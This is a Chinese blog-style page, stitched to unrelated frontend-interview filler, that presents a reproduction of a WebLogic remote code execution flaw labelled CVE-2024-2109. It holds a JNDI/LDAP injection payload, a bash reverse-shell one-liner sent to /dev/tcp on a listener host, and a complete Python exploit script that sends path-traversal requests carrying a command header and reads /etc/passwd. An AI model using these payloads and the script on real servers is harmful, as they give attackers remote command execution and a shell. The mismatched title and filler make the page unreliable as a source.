2024年前端最全复现CVE-2024-2109 (Weblogic Server远程代码执行漏洞)，2024年最新一次违反常规的前端大厂面试经历_2024漏洞复现

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2. 抓包，payload后面加入poc，然后再在请求包头部里面加入cmd:id(命令）,如下图所示：

poc如下：

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)

复现成功！

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复现方式二——反弹shell值

================

1. 将上面请求头中cmd字段的值改为反弹shell的语句，进行编码，网址：java.lang.Runtime.exec() Payload Workarounds - @Jackson_T Payload Workarounds - @Jackson_T")

bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1

2.攻击机开始监听

3.将上面抓到的包cmd字段的值改为反弹shell的语句，进行发包

复现成功！

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五、POC漏洞检测——（前提条件跳板机必须运行运行ldap环境才行）

==================================

import requests

import sys

import re

requests.packages.urllib3.disable_warnings()

from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():

print(‘±-----------------------------------------’)

print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)

print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)

print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)

print(‘+ \033[34mVersion: Weblogic 多个版本 \033[0m’)

print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)

print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)

print(‘+ \033[36mLDAP >>> ldap://xxx.xxx.xxx;xxx:1389 \033[0m’)

print(‘±-----------------------------------------’)

def POC_1(target_url, ldap_url, cmd):

vuln_url = target_url + “/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)”.format(ldap_url)

print(‘\033[36m[o] 正在请求: {}’.format(vuln_url))

headers = {

“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,

“cmd”: cmd

}

try:

response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)

if “root:” in response.text:

print(“\033[32m[o] 目标{}存在漏洞 \033[0m”.format(target_url))

print(“\033[32m[o] 响应为:\n{} \033[0m”.format(response.text))

else:

print(“\033[31m[x] 命令执行失败 \033[0m”)

sys.exit(0)

except Exception as e:

print(“\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m”, e)

def POC_2(target_url, ldap_url, cmd):

vuln_url = target_url + “/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)”.format(ldap_url)

print(‘\033[36m[o] 正在请求: {}’.format(vuln_url))

headers = {

“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,

“cmd”: cmd

}

try:

response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)

print(“\033[32m[o] 响应为:\n{} \033[0m”.format(response))

except Exception as e:

print(“\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m”, e)

if name == ‘main’:

title()

target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))

ldap_url = str(input(“\033[35mLdap >>> \033[0m”))

POC_1(target_url, ldap_url, cmd=“cat /etc/passwd”)

前端面试题汇总

JavaScript

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linux

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